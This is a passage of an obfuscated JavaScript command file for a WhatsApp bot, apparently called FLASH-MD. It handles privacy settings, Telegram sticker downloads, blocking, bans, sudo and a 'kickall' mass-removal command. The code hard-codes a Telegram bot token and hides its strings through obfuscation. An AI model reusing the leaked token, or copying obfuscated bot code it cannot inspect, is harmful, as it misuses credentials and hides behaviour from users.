_0x5ef042=parseInt(_0x1c407e(0x1fa))/0x1*(-parseInt(_0x1c407e(0x19a))/0x2)+-parseInt(_0x1c407e(0x1a7))/0x3+parseInt(_0x1c407e(0x1ec))/0x4*(-parseInt(_0x1c407e(0x1c4))/0x5)+parseInt(_0x1c407e(0x209))/0x6+-parseInt(_0x1c407e(0x172))/0x7*(-parseInt(_0x1c407e(0x168))/0x8)+parseInt(_0x1c407e(0x1d0))/0x9+-parseInt(_0x1c407e(0x1bf))/0xa*(-parseInt(_0x1c407e(0x1cc))/0xb);if(_0x5ef042===_0x1448ed)break;else _0x195784['push'](_0x195784['shift']());}catch(_0xc85ada){_0x195784['push'](_0x195784['shift']());}}}(_0x3884,0x87037));const {france}=require('../framework/france'),axios=require(_0x55878c(0x1e8));function _0x3884(){const _0x5581c0=['This\x20user\x20is\x20not\x20sudo.','mention\x20updated','Succes','Mods','only\x20mods\x20can\x20use\x20this\x20command','This\x20user\x20is\x20now\x20non-sudo.','not\x20animated\x20sticker','\x0a\x20\x20*Type\x20:*\x20','profilePictureUrl','\x0a*\x20group\x20add\x20:*\x20','\x0a\x20\x20\x0a\x20\x20\x20\x20\x20\x20Downloading...','block','1428102NZckop','stop','oui','tgs','sticker','downloadAndSaveMediaMessage','lastseen','Order\x20reserved\x20for\x20the\x20group\x20owner\x20for\x20security\x20reasons','video','http','split','Unknown\x20error','\x0aLink:\x20','audioMessage','This\x20group\x20is\x20already\x20banned','updateStatusPrivacy','query','16GaCgbj','updateProfilePicturePrivacy','kickall','../bdd/mention','send','url','\x0a\x0a*Instructions:*\x0a\x0aTo\x20activate\x20or\x20modify\x20the\x20mention,\x20follow\x20this\x20syntax:\x20mention\x20link\x20type\x20message\x0aThe\x20different\x20types\x20are\x20audio,\x20video,\x20image,\x20and\x20sticker.\x0aExample:\x20mention\x20https://static.animecorner.me/2023/08/op2.jpg\x20image\x20Hi,\x20my\x20name\x20is\x20France\x20King\x20\x0a\x0aTo\x20stop\x20the\x20mention,\x20use\x20mention\x20stop','get','bad\x20option','/addstickers/','490595hZdHcZ','mention\x20the\x20person\x20by\x20typing\x20','log','w:profile:picture','\x0a*\x20read\x20receipt\x20:*\x20','FLASH-MD','file_path','order\x20reservation\x20for\x20groups','add','bangroup\x20add/del\x20to\x20ban/unban\x20the\x20group','Your\x20group\x20add\x20privacy\x20settings\x20updated\x20to\x20*','Be\x20sure\x20to\x20mention\x20the\x20person\x20to\x20block','12345','groupLeave','Only\x20Owners\x20can\x20use\x20this\x20command','jid','I\x20need\x20administration\x20rights','You\x20are\x20not\x20entitled\x20to\x20this\x20order','groupAcceptInvite','unlinkSync','This\x20user\x20is\x20already\x20banned','none','imageMessage','recupererToutesLesValeurs','mystatus','updateLastSeenPrivacy','*Privacy\x20settings*\x0a\x0a*\x20name\x20:*\x20','mydp','Your\x20status\x20privacy\x20settings\x20updated\x20to\x20*','we\x20got\x20an\x20error\x20\x0a','modifierStatusId1','WhatsApp','mention\x20the\x20victim','#000000','OWNER','Provide\x20a\x20setting\x20to\x20be\x20updated.\x20Example:\x0aonline\x20all','Bienvenue\x20dans\x20','\x0a*\x20call\x20add\x20:*\x20','Provide\x20a\x20setting\x20to\x20be\x20updated.\x20Example:\x0amystatus\x20all','User','14138WvRjzq','stickers','toBuffer','Mention\x20the\x20message\x20that\x20you\x20want\x20to\x20save','result','caption','transparent','arraybuffer','This\x20user\x20is\x20now\x20free.','crew','https://telegra.ph/file/b34645ca1e3a34f1b3978.jpg','stickerMessage','sendMessage','1436727xpozAp','Provide\x20a\x20setting\x20to\x20be\x20updated.\x20Example:\x0amydp\x20all','Choose\x20a\x20setting\x20from\x20this\x20list:\x20','mention\x20the\x20victim\x20by\x20typing\x20','addOrUpdateDataInMention','Actived','sudo\x20add/del','\x20\x0a\x20\x20*Length\x20:*\x20','succes','\x0aType:\x20','../bdd/banGroup','This\x20user\x20is\x20already\x20sudo','set','audio/mp4','*Instructions:*\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20To\x20activate\x20or\x20modify\x20the\x20mention,\x20follow\x20this\x20syntax:\x20mention\x20link\x20type\x20message.\x20The\x20different\x20types\x20are\x20audio,\x20video,\x20image,\x20and\x20sticker.','https://chat.whatsapp.com/','https://api.telegram.org/bot891038791:AAHWB1dQd-vi0IbH2NjKYUk-hqQ8rQuzPD4/getStickerSet?name=','unblock','updateOnlinePrivacy','audio','only\x20modds\x20can\x20use\x20this\x20command','image','ban','admin','750XThaLJ','contact_blacklist','all','then','online','15AqiFxk','videoMessage','type\x20','contacts','mention','put\x20a\x20telegram\x20sticker\x20link\x20','groupCreate','Group','202642vtIRGf','\x0a*\x20last\x20seen\x20:*\x20','onlyadmin\x20add/del\x20to\x20ban/unban\x20the\x20group','no\x20data','4351725qJKobs','data','groupMetadata','This\x20group\x20is\x20not\x20banned.','del','remove','user','group\x20only','order\x20reserved\x20for\x20the\x20owner','name','match_last_seen','FULL','Only\x20Mods\x20can\x20use\x20this\x20command','updateBlockStatus','is_animated','Please\x20mention\x20a\x20member\x20added\x20','https://api.telegram.org/file/bot891038791:AAHWB1dQd-vi0IbH2NjKYUk-hqQ8rQuzPD4/','length','includes','startsWith','This\x20user\x20is\x20not\x20banned.','Last\x20seen\x20privacy\x20settings\x20updated\x20to\x20*','Your\x20profile\x20picture\x20privacy\x20settings\x20updated\x20to\x20*','Please\x20enter\x20the\x20name\x20of\x20the\x20group\x20to\x20create','axios','Tag\x20an\x20image','push','Please\x20mention\x20the\x20person\x20to\x20be\x20unlocked','210876mTYUre','This\x20group\x20is\x20not\x20in\x20onlyadmin\x20mode.','Online\x20privacy\x20settings\x20updated\x20to\x20*','No_admin\x20members\x20will\x20be\x20removed\x20from\x20the\x20group.\x20You\x20have\x205\x20seconds\x20to\x20reclaim\x20your\x20choice\x20by\x20restarting\x20the\x20bot.','conversation','../bdd/banUser','This\x20group\x20is\x20now\x20free.','left','Provide\x20a\x20setting\x20to\x20be\x20updated.\x20Example:\x0alastseen\x20all','\x20mention\x20stopped\x20','filter','status','join','This\x20command\x20is\x20only\x20allowed\x20to\x20the\x20bot\x20owner','149ojAEbs','../bdd/onlyAdmin','command\x20reserved\x20for\x20the\x20bot\x20owner'];_0x3884=function(){return _0x5581c0;};return _0x3884();}let {Sticker,createSticker,StickerTypes}=require('wa-sticker-formatter');const {isUserBanned,addUserToBanList,removeUserFromBanList}=require(_0x55878c(0x1f1)),{addGroupToBanList,isGroupBanned,removeGroupFromBanList}=require(_0x55878c(0x1b1)),{generateProfilePicture}=require('../framework/dl/Function'),{isGroupOnlyAdmin,addGroupToOnlyAdminList,removeGroupFromOnlyAdminList}=require(_0x55878c(0x1fb)),{removeSudoNumber,addSudoNumber,issudo}=require('../bdd/sudo'),fs=require('fs'),sleep=_0x3cb69e=>{return new Promise(_0x37d75f=>{setTimeout(_0x37d75f,_0x3cb69e);});};france({'nomCom':_0x55878c(0x20f),'categorie':_0x55878c(0x191)},async(_0x2b66a5,_0x2796a3,_0x1a3c85)=>{const _0x4a5c6b=_0x55878c,{idBot:_0x4e0dc9,arg:_0x24b36e,ms:_0xf2a4ff,repondre:_0x4529cc,superUser:_0xc06f87,msgRepondu:_0x6c9251}=_0x1a3c85;if(!_0xc06f87){_0x4529cc(_0x4a5c6b(0x180));return;}if(!_0x24b36e[0x0]){_0x4529cc(_0x4a5c6b(0x1f4));return;}let _0x10828c=_0x24b36e[_0x4a5c6b(0x1f8)]('\x20');const _0x5c525f=[_0x4a5c6b(0x1c1),_0x4a5c6b(0x1c7),_0x4a5c6b(0x1c0),'none'];if(!_0x5c525f[_0x4a5c6b(0x1e2)](_0x10828c))return _0x4529cc('Choose\x20a\x20setting\x20from\x20this\x20list:\x20'+_0x5c525f[_0x4a5c6b(0x1f8)]('/'));await _0x2796a3[_0x4a5c6b(0x18b)](_0x10828c),await _0x4529cc(_0x4a5c6b(0x1e5)+_0x10828c+'*');}),france({'nomCom':_0x55878c(0x1c3),'categorie':'WhatsApp'},async(_0x3982ed,_0xf2ee7e,_0x288516)=>{const _0x287fcc=_0x55878c,{idBot:_0x24e564,arg:_0x35eb07,ms:_0x35d270,repondre:_0x50b296,superUser:_0x4db779,msgRepondu:_0x278d38}=_0x288516;if(!_0x4db779){_0x50b296('Only\x20Owners\x20can\x20use\x20this\x20command');return;}if(!_0x35eb07[0x0]){_0x50b296(_0x287fcc(0x195));return;}let _0x1f4b2e=_0x35eb07[_0x287fcc(0x1f8)]('\x20');const _0x5b88aa=[_0x287fcc(0x1c1),_0x287fcc(0x1da)];if(!_0x5b88aa[_0x287fcc(0x1e2)](_0x1f4b2e))return _0x50b296(_0x287fcc(0x1a9)+_0x5b88aa[_0x287fcc(0x1f8)]('/'));await _0xf2ee7e[_0x287fcc(0x1b9)](_0x1f4b2e),await _0x50b296(_0x287fcc(0x1ee)+_0x1f4b2e+'*');}),france({'nomCom':_0x55878c(0x18d),'categorie':_0x55878c(0x191)},async(_0x25ca2e,_0x310563,_0x27b7ee)=>{const _0x1660dd=_0x55878c,{idBot:_0xf10480,arg:_0x42607c,ms:_0x29f0da,repondre:_0x14ce15,superUser:_0x4ddab0,msgRepondu:_0xea124}=_0x27b7ee;if(!_0x4ddab0){_0x14ce15('Only\x20Owners\x20can\x20use\x20this\x20command');return;}if(!_0x42607c[0x0]){_0x14ce15(_0x1660dd(0x1a8));return;}let _0x1173a6=_0x42607c[_0x1660dd(0x1f8)]('\x20');const _0x26e5f6=[_0x1660dd(0x1c1),_0x1660dd(0x1c7),_0x1660dd(0x1c0),_0x1660dd(0x187)];if(!_0x26e5f6['includes'](_0x1173a6))return _0x14ce15('Choose\x20a\x20setting\x20from\x20this\x20list:\x20'+_0x26e5f6['join']('/'));await _0x310563[_0x1660dd(0x169)](_0x1173a6),await _0x14ce15(_0x1660dd(0x1e6)+_0x1173a6+'*');}),france({'nomCom':_0x55878c(0x18a),'categorie':_0x55878c(0x191)},async(_0x466897,_0x42b8af,_0x407e77)=>{const _0x1561c6=_0x55878c,{idBot:_0x2c451a,arg:_0x52c747,ms:_0x43edf2,repondre:_0x320502,superUser:_0x46dfe1,msgRepondu:_0x2f554a}=_0x407e77;if(!_0x46dfe1){_0x320502(_0x1561c6(0x180));return;}if(!_0x52c747[0x0]){_0x320502(_0x1561c6(0x198));return;}let _0x3aea11=_0x52c747[_0x1561c6(0x1f8)]('\x20');const _0x700d27=[_0x1561c6(0x1c1),'contacts','contact_blacklist','none'];if(!_0x700d27[_0x1561c6(0x1e2)](_0x3aea11))return _0x320502('Choose\x20a\x20setting\x20from\x20this\x20list:\x20'+_0x700d27[_0x1561c6(0x1f8)]('/'));await _0x42b8af[_0x1561c6(0x218)](_0x3aea11),await _0x320502(_0x1561c6(0x18e)+_0x3aea11+'*');}),france({'nomCom':'groupadd','categorie':_0x55878c(0x191)},async(_0x14d927,_0x1e474f,_0x388dd7)=>{const _0x49097d=_0x55878c,{idBot:_0x4644b1,arg:_0x3275bb,ms:_0x476150,repondre:_0x4f6497,superUser:_0x29fd9b,msgRepondu:_0x5ba226}=_0x388dd7;if(!_0x29fd9b){_0x4f6497(_0x49097d(0x180));return;}if(!_0x3275bb[0x0]){_0x4f6497('Provide\x20a\x20setting\x20to\x20be\x20updated.\x20Example:\x0agroupadd\x20all');return;}let _0x343fc9=_0x3275bb[_0x49097d(0x1f8)]('\x20');const _0x4e0cbb=[_0x49097d(0x1c1),_0x49097d(0x1c7),_0x49097d(0x1c0),_0x49097d(0x187)];if(!_0x4e0cbb[_0x49097d(0x1e2)](_0x343fc9))return _0x4f6497(_0x49097d(0x1a9)+_0x4e0cbb[_0x49097d(0x1f8)]('/'));await _0x1e474f['updateGroupsAddPrivacy'](_0x343fc9),await _0x4f6497(_0x49097d(0x17c)+_0x343fc9+'*');}),france({'nomCom':'privacy','categorie':'WhatsApp'},async(_0x35d785,_0x2516d6,_0x37f88d)=>{const _0x51362b=_0x55878c,{idBot:_0x12ed60,ms:_0x275b0e,repondre:_0x4480f5,superUser:_0x2b020d,msgRepondu:_0x336d3f}=_0x37f88d;if(!_0x2b020d){_0x4480f5('Only\x20Owners\x20can\x20use\x20this\x20command');return;}const {readreceipts:_0x1f373f,profile:_0x41cce5,status:_0x5a753d,online:_0x5d18a4,last:_0x3c6a7e,groupadd:_0x2d15dd,calladd:_0x171dc7}=await _0x2516d6['fetchPrivacySettings'](!![]),_0xfbe872=_0x51362b(0x18c)+_0x2516d6[_0x51362b(0x1d6)][_0x51362b(0x1d9)]+'\x0a*\x20online:*\x20'+_0x5d18a4+'\x0a*\x20profile\x20:*\x20'+_0x41cce5+_0x51362b(0x1cd)+_0x3c6a7e+_0x51362b(0x176)+_0x1f373f+_0x51362b(0x206)+_0x2d15dd+_0x51362b(0x197)+_0x171dc7,_0x1d2d94=await _0x2516d6[_0x51362b(0x205)](_0x12ed60,_0x51362b(0x1bc))['catch'](_0xffae1c=>_0x51362b(0x1a4));await _0x2516d6[_0x51362b(0x1a6)](_0x35d785,{'image':{'url':_0x1d2d94},'caption':_0xfbe872},{'quoted':_0x275b0e});}),france({'nomCom':'fullpp','categorie':_0x55878c(0x199)},async(_0x5143ea,_0x283acd,_0x458b13)=>{const _0x10eb4a=_0x55878c,{idBot:_0x19910f,ms:_0x3f86d7,repondre:_0x47da5e,superUser:_0x5063d3,msgRepondu:_0x52c01d}=_0x458b13;if(!_0x52c01d)return _0x47da5e(_0x10eb4a(0x1e9));if(!_0x5063d3){_0x47da5e(_0x10eb4a(0x180));return;}const _0x29768f=await _0x283acd[_0x10eb4a(0x20e)](_0x52c01d[_0x10eb4a(0x188)],'ppbot.jpeg');var {img:_0x15e066}=await generateProfilePicture(_0x29768f);await _0x283acd[_0x10eb4a(0x219)]({'tag':'iq','attrs':{'to':_0x19910f,'type':_0x10eb4a(0x1b3),'xmlns':_0x10eb4a(0x175)},'content':[{'tag':'picture','attrs':{'type':_0x10eb4a(0x1bc)},'content':_0x15e066}]}),fs[_0x10eb4a(0x185)](_0x29768f),_0x47da5e('Bot\x20Profile\x20Picture\x20Updated');}),france({'nomCom':_0x55878c(0x20c),'categorie':_0x55878c(0x200)},async(_0x30822e,_0x3b7011,_0x47f9ad)=>{const _0x541e42=_0x55878c,{ms:_0x212ee5,repondre:_0x4c35ca,arg:_0x5d4793,nomAuteurMessage:_0x200986,superUser:_0x3895d7}=_0x47f9ad;if(!_0x3895d7){_0x4c35ca(_0x541e42(0x1dc));return;}if(!_0x5d4793[0x0]){_0x4c35ca(_0x541e42(0x1c9));return;}let _0x2e1fce=_0x5d4793[_0x541e42(0x1f8)]('\x20'),_0x533562=_0x2e1fce[_0x541e42(0x213)](_0x541e42(0x171))[0x1],_0x3310f5=_0x541e42(0x1b7)+encodeURIComponent(_0x533562);try{let _0x247b66=await axios[_0x541e42(0x16f)](_0x3310f5),_0x7bdaca=null;_0x247b66[_0x541e42(0x1d1)][_0x541e42(0x19e)][_0x541e42(0x1de)]===!![]||_0x247b66['data'][_0x541e42(0x19e)]['is_video']===!![]?_0x7bdaca='animated\x20sticker':_0x7bdaca=_0x541e42(0x203);let _0x25604b='\x20\x20\x20Flash-stickers-dl\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20*Name\x20:*\x20'+_0x247b66[_0x541e42(0x1d1)][_0x541e42(0x19e)]['name']+_0x541e42(0x204)+_0x7bdaca+_0x541e42(0x1ae)+_0x247b66['data'][_0x541e42(0x19e)][_0x541e42(0x19b)][_0x541e42(0x1e1)]+_0x541e42(0x207);await _0x4c35ca(_0x25604b);for(let _0x3a97e7=0x0;_0x3a97e7<_0x247b66[_0x541e42(0x1d1)][_0x541e42(0x19e)]['stickers'][_0x541e42(0x1e1)];_0x3a97e7++){let _0xaf08ed=await axios['get']('https://api.telegram.org/bot891038791:AAHWB1dQd-vi0IbH2NjKYUk-hqQ8rQuzPD4/getFile?file_id='+_0x247b66[_0x541e42(0x1d1)][_0x541e42(0x19e)]['stickers'][_0x3a97e7]['file_id']),_0xc006cb=await axios({'method':_0x541e42(0x16f),'url':_0x541e42(0x1e0)+_0xaf08ed[_0x541e42(0x1d1)][_0x541e42(0x19e)][_0x541e42(0x178)],'responseType':_0x541e42(0x1a1)});const _0x52fcd2=new Sticker(_0xc006cb[_0x541e42(0x1d1)],{'pack':_0x200986,'author':'FLASH-MD','type':StickerTypes[_0x541e42(0x1db)],'categories':['🤩','🎉'],'id':_0x541e42(0x17e),'quality':0x32,'background':_0x541e42(0x193)}),_0x239dfe=await _0x52fcd2[_0x541e42(0x19c)]();await _0x3b7011[_0x541e42(0x1a6)](_0x30822e,{'sticker':_0x239dfe},{'quoted':_0x212ee5});}}catch(_0x4a0ab2){_0x4c35ca(_0x541e42(0x18f),_0x4a0ab2);}}),france({'nomCom':_0x55878c(0x1a3),'categorie':_0x55878c(0x200)},async(_0x2cf26e,_0x2f9e36,_0xd28f7f)=>{const _0x1e8188=_0x55878c,{ms:_0x3b1f9e,repondre:_0x54a9a7,arg:_0x1409ef,auteurMessage:_0x54e003,superUser:_0xd07149,auteurMsgRepondu:_0x454e0b,msgRepondu:_0x13fbeb}=_0xd28f7f;if(!_0xd07149){_0x54a9a7(_0x1e8188(0x1bb));return;};if(!_0x1409ef[0x0]){_0x54a9a7(_0x1e8188(0x1e7));return;};if(!_0x13fbeb){_0x54a9a7(_0x1e8188(0x1df));return;}const _0x334c40=_0x1409ef[_0x1e8188(0x1f8)]('\x20'),_0x2671cc=await _0x2f9e36[_0x1e8188(0x1ca)](_0x334c40,[_0x54e003,_0x454e0b]);console['log']('created\x20group\x20with\x20id:\x20'+_0x2671cc['gid']),_0x2f9e36[_0x1e8188(0x1a6)](_0x2671cc['id'],{'text':_0x1e8188(0x196)+_0x334c40});}),france({'nomCom':_0x55878c(0x1f3),'categorie':_0x55878c(0x1cb)},async(_0x52a457,_0x1dfaf3,_0x3d6b57)=>{const _0x163a6b=_0x55878c,{ms:_0x3f5f27,repondre:_0x33ba54,verifGroupe:_0x188e93,msgRepondu:_0x22e454,verifAdmin:_0x2f3649,superUser:_0x220088,auteurMessage:_0x5d505c}=_0x3d6b57;if(!_0x188e93){_0x33ba54(_0x163a6b(0x1d7));return;};if(!_0x220088){_0x33ba54(_0x163a6b(0x1d8));return;}await _0x1dfaf3[_0x163a6b(0x17f)](_0x52a457);}),france({'nomCom':_0x55878c(0x1f8),'categorie':_0x55878c(0x200)},async(_0x106890,_0xde806,_0x41ce20)=>{const _0x231181=_0x55878c,{arg:_0x171d91,ms:_0x5ec523,repondre:_0x1cefd2,verifGroupe:_0x41838e,msgRepondu:_0x4ba173,verifAdmin:_0x25e80b,superUser:_0x148e60,auteurMessage:_0x3552d3}=_0x41ce20;if(!_0x148e60){_0x1cefd2('command\x20reserved\x20for\x20the\x20bot\x20owner');return;}let _0x2c062a=_0x171d91[0x0][_0x231181(0x213)](_0x231181(0x1b6))[0x1];await _0xde806[_0x231181(0x184)](_0x2c062a),_0x1cefd2(_0x231181(0x1ff))['catch'](_0x5054cd=>{const _0x44da3a=_0x231181;_0x1cefd2(_0x44da3a(0x214));});}),france({'nomCom':_0x55878c(0x181),'categorie':_0x55878c(0x200)},async(_0x48da66,_0x50e153,_0x1d07f9)=>{const _0x3eaeed=_0x55878c,{arg:_0x1fa6b6,ms:_0x1b5975,repondre:_0x57eb61,verifGroupe:_0x1f675c,msgRepondu:_0x16516b,verifAdmin:_0x31d550,superUser:_0x5bd37b,auteurMessage:_0x4d19da,auteurMsgRepondu:_0x49b9cb}=_0x1d07f9;if(!_0x5bd37b){_0x57eb61(_0x3eaeed(0x1fc));return;}!_0x16516b?jid=_0x48da66:jid=_0x49b9cb;;_0x50e153[_0x3eaeed(0x1a6)](_0x48da66,{'text':jid},{'quoted':_0x1b5975});}),france({'nomCom':_0x55878c(0x208),'categorie':_0x55878c(0x199)},async(_0x145ed3,_0x5d9ed0,_0x2b937d)=>{const _0x2ed9ff=_0x55878c,{arg:_0x1b5565,ms:_0xd1f25e,repondre:_0x25d4c6,verifGroupe:_0x500075,msgRepondu:_0x31855a,verifAdmin:_0x231148,superUser:_0x36273e,auteurMessage:_0x5dc8ab,auteurMsgRepondu:_0x45d00e}=_0x2b937d;if(!_0x36273e){_0x25d4c6(_0x2ed9ff(0x1fc));return;}if(!_0x31855a){if(_0x500075){_0x25d4c6(_0x2ed9ff(0x17d));return;};jid=_0x145ed3,await _0x5d9ed0[_0x2ed9ff(0x1dd)](jid,'block')[_0x2ed9ff(0x1c2)](_0x25d4c6(_0x2ed9ff(0x1af)));}else jid=_0x45d00e,await _0x5d9ed0[_0x2ed9ff(0x1dd)](jid,_0x2ed9ff(0x208))['then'](_0x25d4c6(_0x2ed9ff(0x1af)));;}),france({'nomCom':_0x55878c(0x1b8),'categorie':_0x55878c(0x199)},async(_0x2c0267,_0x2c0bad,_0x20b74d)=>{const _0x1da2c4=_0x55878c,{arg:_0x15a863,ms:_0x162636,repondre:_0x156a00,verifGroupe:_0x3f4b00,msgRepondu:_0x3518c5,verifAdmin:_0x5433cf,superUser:_0x5c25de,auteurMessage:_0x9c10fb,auteurMsgRepondu:_0x2a3471}=_0x20b74d;if(!_0x5c25de){_0x156a00(_0x1da2c4(0x1fc));return;}if(!_0x3518c5){if(_0x3f4b00){_0x156a00(_0x1da2c4(0x1eb));return;};jid=_0x2c0267,await _0x2c0bad[_0x1da2c4(0x1dd)](jid,_0x1da2c4(0x1b8))['then'](_0x156a00('succes'));}else jid=_0x2a3471,await _0x2c0bad[_0x1da2c4(0x1dd)](jid,_0x1da2c4(0x1b8))[_0x1da2c4(0x1c2)](_0x156a00(_0x1da2c4(0x1af)));;}),france({'nomCom':_0x55878c(0x16a),'categorie':_0x55878c(0x1cb),'reaction':'📣'},async(_0x5c5e0d,_0x582790,_0x140505)=>{const _0x2e4f04=_0x55878c,{auteurMessage:_0x5725bf,ms:_0x558242,repondre:_0x14eb9f,arg:_0x4fd371,verifGroupe:_0x499a0b,nomGroupe:_0x3ec2ce,infosGroupe:_0x4c214b,nomAuteurMessage:_0x4e0d31,verifAdmin:_0x1cb88e,superUser:_0x505d98,prefixe:_0x2758fc}=_0x140505,_0x295483=await _0x582790[_0x2e4f04(0x1d2)](_0x5c5e0d);if(!_0x499a0b){_0x14eb9f('✋🏿\x20✋🏿this\x20command\x20is\x20reserved\x20for\x20groups\x20❌');return;}if(_0x505d98||_0x5725bf==_0x295483['owner']){_0x14eb9f(_0x2e4f04(0x1ef)),await sleep(0x1388);let _0x2fc47e=_0x499a0b?await _0x4c214b['participants']:'';try{let _0xdf0c8c=_0x2fc47e[_0x2e4f04(0x1f6)](_0x2f55a2=>!_0x2f55a2[_0x2e4f04(0x1be)]);for(const _0x217daf of _0xdf0c8c){await _0x582790['groupParticipantsUpdate'](_0x5c5e0d,[_0x217daf['id']],_0x2e4f04(0x1d5)),await sleep(0x1f4);}}catch(_0x5b99e2){_0x14eb9f(_0x2e4f04(0x182));}}else{_0x14eb9f(_0x2e4f04(0x210));return;}}),france({'nomCom':_0x55878c(0x1bd),'categorie':_0x55878c(0x194)},async(_0x4ad6be,_0x82a3c5,_0x1ec4f6)=>{const _0x2c5673=_0x55878c,{ms:_0x4797d2,arg:_0xb2475d,auteurMsgRepondu:_0x26ef46,msgRepondu:_0x252445,repondre:_0x2c5955,prefixe:_0x5d03c7,superUser:_0x238792}=_0x1ec4f6;if(!_0x238792){_0x2c5955(_0x2c5673(0x1f9));return;}if(!_0xb2475d[0x0]){_0x2c5955(_0x2c5673(0x1aa)+_0x5d03c7+'ban\x20add/del\x20to\x20ban/unban\x20the\x20victim');return;};if(_0x252445)switch(_0xb2475d[_0x2c5673(0x1f8)]('\x20')){case _0x2c5673(0x17a):let _0x86e473=await isUserBanned(_0x26ef46);if(_0x86e473){_0x2c5955(_0x2c5673(0x186));return;}addUserToBanList(_0x26ef46);break;case _0x2c5673(0x1d4):let _0x1e75ac=await isUserBanned(_0x26ef46);_0x1e75ac?(removeUserFromBanList(_0x26ef46),_0x2c5955(_0x2c5673(0x1a2))):_0x2c5955(_0x2c5673(0x1e4));break;default:_0x2c5955('bad\x20option');break;}else{_0x2c5955(_0x2c5673(0x192));return;}}),france({'nomCom':'bangroup','categorie':_0x55878c(0x194)},async(_0x31e219,_0xa5c038,_0x42f30e)=>{const _0x5210e2=_0x55878c,{ms:_0x191c30,arg:_0x390b55,auteurMsgRepondu:_0x52d11d,msgRepondu:_0x45658e,repondre:_0x9ded68,prefixe:_0x22c980,superUser:_0xe66605,verifGroupe:_0x3ccc07}=_0x42f30e;if(!_0xe66605){_0x9ded68('This\x20command\x20is\x20only\x20allowed\x20to\x20the\x20bot\x20owner');return;};if(!_0x3ccc07){_0x9ded68(_0x5210e2(0x179));return;};if(!_0x390b55[0x0]){_0x9ded68(_0x5210e2(0x1c6)+prefix+_0x5210e2(0x17b));return;};const _0x4a1928=await isGroupBanned(_0x31e219);switch(_0x390b55[_0x5210e2(0x1f8)]('\x20')){case'add':if(_0x4a1928){_0x9ded68(_0x5210e2(0x217));return;}addGroupToBanList(_0x31e219);break;case _0x5210e2(0x1d4):_0x4a1928?(removeGroupFromBanList(_0x31e219),_0x9ded68(_0x5210e2(0x1f2))):_0x9ded68(_0x5210e2(0x1d3));break;default:_0x9ded68(_0x5210e2(0x170));break;}}),france({'nomCom':'onlyadmin','categorie':_0x55878c(0x1cb)},async(_0x1b2382,_0x35d508,_0x5905be)=>{const _0x1313cb=_0x55878c,{ms:_0x37c7f6,arg:_0x205e0e,auteurMsgRepondu:_0x1eb765,msgRepondu:_0x99f2f4,repondre:_0xb08718,prefixe:_0x36adaf,superUser:_0x1d1b19,verifGroupe:_0x58bc30,verifAdmin:_0x255f0c}=_0x5905be;if(_0x1d1b19||_0x255f0c){if(!_0x58bc30){_0xb08718('order\x20reservation\x20for\x20groups');return;};if(!_0x205e0e[0x0]){_0xb08718(_0x1313cb(0x1c6)+prefix+_0x1313cb(0x1ce));return;};const _0x2814a5=await isGroupOnlyAdmin(_0x1b2382);switch(_0x205e0e[_0x1313cb(0x1f8)]('\x20')){case'add':if(_0x2814a5){_0xb08718('This\x20group\x20is\x20already\x20in\x20onlyadmin\x20mode');return;}addGroupToOnlyAdminList(_0x1b2382);break;case _0x1313cb(0x1d4):_0x2814a5?(removeGroupFromOnlyAdminList(_0x1b2382),_0xb08718(_0x1313cb(0x1f2))):_0xb08718(_0x1313cb(0x1ed));break;default:_0xb08718(_0x1313cb(0x170));break;}}else _0xb08718(_0x1313cb(0x183));}),france({'nomCom':'sudo','categorie':_0x55878c(0x200)},async(_0x2eb846,_0x36b058,_0x590698)=>{const _0x4885db=_0x55878c,{ms:_0x3484d5,arg:_0x538b58,auteurMsgRepondu:_0x51a8de,msgRepondu:_0x239371,repondre:_0x25df48,prefixe:_0x437df1,superUser:_0x3d33a2}=_0x590698;if(!_0x3d33a2){_0x25df48(_0x4885db(0x1f9));return;}if(!_0x538b58[0x0]){_0x25df48(_0x4885db(0x173)+prefix+_0x4885db(0x1ad));return;};if(_0x239371)switch(_0x538b58['join']('\x20')){case _0x4885db(0x17a):let _0x998d79=await issudo(_0x51a8de);if(_0x998d79){_0x25df48(_0x4885db(0x1b2));return;}addSudoNumber(_0x51a8de),_0x25df48(_0x4885db(0x1af));break;case _0x4885db(0x1d4):let _0x3de83d=await issudo(_0x51a8de);_0x3de83d?(removeSudoNumber(_0x51a8de),_0x25df48(_0x4885db(0x202))):_0x25df48(_0x4885db(0x1fd));break;default:_0x25df48(_0x4885db(0x170));break;}else{_0x25df48(_0x4885db(0x192));return;}}),france({'nomCom':_0x55878c(0x16c),'categorie':'User'},async(_0x2a8dbb,_0x1cf6d3,_0x1bbc1d)=>{const _0x404a3f=_0x55878c,{repondre:_0x123355,msgRepondu:_0x77fadc,nomAuteurMessage:_0xaa4ea6,auteurMessage:_0x45e2ab}=_0x1bbc1d;if(_0xaa4ea6){if(_0x77fadc){console[_0x404a3f(0x174)](_0x77fadc);let _0x378d58;if(_0x77fadc['imageMessage']){let _0x506186=await _0x1cf6d3[_0x404a3f(0x20e)](_0x77fadc[_0x404a3f(0x188)]);_0x378d58={'image':{'url':_0x506186},'caption':_0x77fadc[_0x404a3f(0x188)][_0x404a3f(0x19f)]};}else{if(_0x77fadc[_0x404a3f(0x1c5)]){let _0x2a1d1d=await _0x1cf6d3[_0x404a3f(0x20e)](_0x77fadc[_0x404a3f(0x1c5)]);_0x378d58={'video':{'url':_0x2a1d1d},'caption':_0x77fadc[_0x404a3f(0x1c5)][_0x404a3f(0x19f)]};}else{if(_0x77fadc[_0x404a3f(0x216)]){let _0x1e1f88=await _0x1cf6d3['downloadAndSaveMediaMessage'](_0x77fadc[_0x404a3f(0x216)]);_0x378d58={'audio':{'url':_0x1e1f88},'mimetype':_0x404a3f(0x1b4)};}else{if(_0x77fadc[_0x404a3f(0x1a5)]){let _0x1931a1=await _0x1cf6d3[_0x404a3f(0x20e)](_0x77fadc[_0x404a3f(0x1a5)]),_0x1ed823=new Sticker(_0x1931a1,{'pack':_0x404a3f(0x177),'type':StickerTypes['CROPPED'],'categories':['🤩','🎉'],'id':'12345','quality':0x46,'background':_0x404a3f(0x1a0)});const _0x1de1aa=await _0x1ed823[_0x404a3f(0x19c)]();_0x378d58={'sticker':_0x1de1aa};}else _0x378d58={'text':_0x77fadc[_0x404a3f(0x1f0)]};}}}_0x1cf6d3[_0x404a3f(0x1a6)](_0x45e2ab,_0x378d58);}else _0x123355(_0x404a3f(0x19d));}else _0x123355(_0x404a3f(0x201));}),france({'nomCom':_0x55878c(0x1c8),'categorie':'Mods'},async(_0x14152f,_0xad3f6f,_0x202f29)=>{const 